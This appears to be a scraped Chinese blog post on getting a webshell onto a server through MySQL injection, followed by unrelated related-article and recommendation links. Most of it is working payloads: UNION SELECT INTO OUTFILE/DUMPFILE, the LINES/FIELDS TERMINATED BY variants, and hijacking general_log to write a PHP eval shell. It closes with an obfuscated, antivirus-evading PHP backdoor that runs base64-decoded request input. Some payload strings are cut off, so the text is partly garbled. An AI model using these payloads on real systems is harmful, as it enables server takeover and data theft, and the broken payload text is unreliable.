sql注入之文件写入into outfile
sql注入中写入webshell的几种方式
sql注入中写入webshell的几种方式
secure_file_priv="c:/…"被注释掉或者是web路径
php.ini中的get_magic_quotes_gpc()函数未开启
其中secure_file_priv有三种情况
- 空,表示导入导出没有任何限制
- 有指定路径,比如("c:/xxx/xxx"):只能向指定路径导入导出文件
- null,禁止导入导出
在进行写入websell时,要注意参数secure_file_priv是否有指定路径或者是否为null。最好要获得root权限
0x01
Union select后写入
- union select+into outfile
- ?id=1')) union select 1,2, "" into outfile "D:/Phpstudy/PHPTutorial/test1.php


Ps:目录分隔符要用斜杠(/)
- union select+into dumpfile
outfile与dumpfile有一定的区别
eg:假设有一个二进制文件,如果用outfile导入,则在导出过程中会被转义从而被破坏,这是只能使用dumpfile函数
Into dumpfile函数不会对任何列行进行终止,也不会执行转义处理
0x02
Lines terminated by
?id=1' into outfile 'D:\Phpstudy\PHPTutorial\WWW\num.php' lines terminated by ''--+


注入原理:select 语句查询的内容写入文件,Lines terminated by语句拼接webshell。
可以理解为:以每行终止的位置添加xx内容
0x03
Lines starting by
?id=1' into outfile 'D:\Phpstudy\PHPTutorial\WWW\num2.php' lines starting by ''--+

Lines starting by 以每行开始的位置添加xx内容
0x04
Fields terminated by
?id=1' into outfile 'D:\Phpstudy\PHPTutorial\WWW\num3.php' fields terminated by ''--+

Fields terminated by 每个字段的间隔中插入xx内容
0x05
Columns terminated by
?id=1' into outfile 'D:\Phpstudy\PHPTutorial\WWW\num4.php' columns terminated by ''--+

Columns terminated by 每个字段的位置添加xx内容
0x06
利用log写入
当无法使用select into outfile写入一句话时,可以通过修改mysql的log文件getshell
(必须获得mysql的root权限)
show variables like '%general%'; #查看配置
set global general_log = on; #开启general log模式
set global general_log_file = 'E:/study/WWW/evil.php'; #设置日志目录为shell地址
select '<?php eval($_GET[g]);?>' #写入shell
set global general_log=off; #关闭general log模式


流程:
1.开启general log模式
2.修改log根地址
3.写入shell
开启general log模式后,只要是对mysql进行操作的语句都会在log中有记录,修改log根地址后,写入一句话shell就可以利用相对路径

附:
sql查询免杀shell语句
SELECT “<?php $p = array(‘f’=>’a’,’pffff’=>’s’,’e’=>’fffff’,’lfaaaa’=>’r’,’nnnnn’=>’t’);$a = array_keys($p);$_=$p[‘pffff’].$p[‘pffff’].$a[2];$_= ‘a’.$_.’rt';$_(base64_decode($_REQUEST[‘username’]));?>”
sql注入之文件写入into outfile的更多相关文章
- Sqli-LABS通关笔录-7[文件写入函数Outfile]
该关卡最主要的就是想要我们学习到Outfile函数(文件写入函数)的使用. 通过源代码我们很容易的写出了payload.倘若我们一个个去尝试的话,说实话,不容易. http://127.0.0.1/s ...
- S-CMS企业建站v3几处SQL注入
0x01 前言 有段时间没有发文章了,主要没挖到比较有意思的漏洞点.然后看最近爆了很多关于S-CMS的漏洞,下载了源码简单挖了一下然后给大家分享一下. 0x02 目录 Wap_index.php sq ...
- S-CMS企建v3二次SQL注入
S-CMS企建v3二次SQL注入 0x01 前言 继上一篇的S-CMS漏洞再来一波!首发T00ls 0x2 目录 Sql注入二次SQL注入 0x03 Sql注入 漏洞文件:\scms\bbs\bbs. ...
- destoon漏洞修复关于 $do->add($post); SQL注入修改
在阿里云漏洞提示查看发现destoon有关于mobile/guestbook.php $do->add($post); SQL注入修改 漏洞名称:Destoon SQL注入 补丁文件:/mobi ...
- Web渗透测试入门之SQL注入(上篇)
题记: 本来今天想把白天刷的攻防世界Web进阶的做个总结,结果估计服务器抽疯环境老报错,然后想了下今天用到了SQL注入,文件上传等等,写写心得.相信很多朋友都一直想学好渗透,然后看到各种入门视频,入门 ...
- sql注入文件写入和读取
系统固定文件路径:https://blog.csdn.net/ncafei/article/details/54616826 /etc/passwd c:/windows/win.ini 文件读取使用 ...
- sql注入--高权限,load_file读写文件
select '<?php eval($_POST[123]) ?>' into outfile '/var/www/html/1.php'; 1.MYSQL新特性限制文件写入及替代方法 ...
- [代码审计]云优cms V 1.1.2前台多处sql注入,任意文件删除修复绕过至getshell
0X00 总体简介 云优CMS于2017年9月上线全新版本,二级域名分站,内容分站独立,七牛云存储,自定义字段,自定义表单,自定义栏目权限,自定义管理权限等众多功能深受用户青睐,上线短短3个月,下载次 ...
- jdbc mysql crud dao模型 sql注入漏洞 jdbc 操作大文件
day17总结 今日内容 l JDBC 1.1 上次课内容总结 SQL语句: 1.外键约束:foreign key * 维护多个表关系! * 用来保证数据完整性! 2.三种关系: * 一对多: * 一 ...
随机推荐
- 如何使用GitHub创建Maven私有仓库
[Github上创建仓库] 首先,在GitHub上创建自己的仓库(mvn-repo): [配置本地setting文件] 找到本地的maven settings文件,配置server: 有两种选择,可以 ...
- Hadoop大数据平台搭建之前期配置(2)
环境:CentOS 7.4 (1708 DVD) 工具:VMware.MobaXterm 一. 克隆大数据集群 1. 选中已经进行了基本配置的虚拟机,进行克隆. 2. 此处改为"创建完整克 ...
- 考研党其实可以用思维导图MindManager做考研复习计划
近年由于就业压力,个人学历提升等各种原因,考研的人数越来越多了,相对难度也越来越大了,尽管今年研究生招生规模同比去年增加18.9万,但也无法掩盖考研的竞争逐年激烈. 身为考研大军中的预备选手之一,小编 ...
- 几分钟看懂EasyRecovery数据恢复原理,比我想象的简单易懂得多
可能很多人知道使用数据恢复软件EasyRecovery可以恢复丢失的数据,但是却不知道它是什么原理.现在我们就以硬盘数据恢复为例,一起来了解下EasyRecovery数据恢复原理. 当硬盘数据丢失后, ...
- Cypress系列(93)- Cypress.dom 命令详解
如果想从头学起Cypress,可以看下面的系列文章哦 https://www.cnblogs.com/poloyy/category/1768839.html 作用 与 DOM 元素相关的 helpe ...
- Powermockito 针对方法中new 对象的模拟,以及属性中new 对象的模拟
PowerMocker 是一个功能逆天的mock 工具. 一,Powermockito 针对方法中new 对象的模拟 // 如何才能mock掉 WeChatConfigUtil 这个类,让 weCha ...
- QBXT 提高组储备营 2020.夏 游记
DAY 1 是第一天呐!老师好强!讲得好仔细!连我都全懂了![doge] 突然对后面几天充满了期待-- 复习内容:二分,排序,贪心,搜索(好评) 新知识:Huffman树及Huffman编码,对拍,二 ...
- P6823 「EZEC-4」zrmpaul Loves Array
发现进行一次排序后先前的操作都无效了,所以只需做最后一次排序后的操作.翻转操作打个翻转标记,互换操作根据翻转标记即可. 时间复杂度 \(O\left(n+m\right)\). code: #incl ...
- 程序演示:C语言第一个简单实例
在信息化.智能化的世界里,可能很早很早 我们就听过许多IT类的名词,C语言也在其中,我们侃侃而谈,到底C程序是什么样子?让我们先看简单的一个例子: 1 2 3 4 5 6 7 8 9 #include ...
- 03-Python里字符串的常用操作方法二
1.lstrip():删除左侧空白字符 实例: my_str = ' hello world and my and test and python ' # 原始字符串 print(my_str) # ...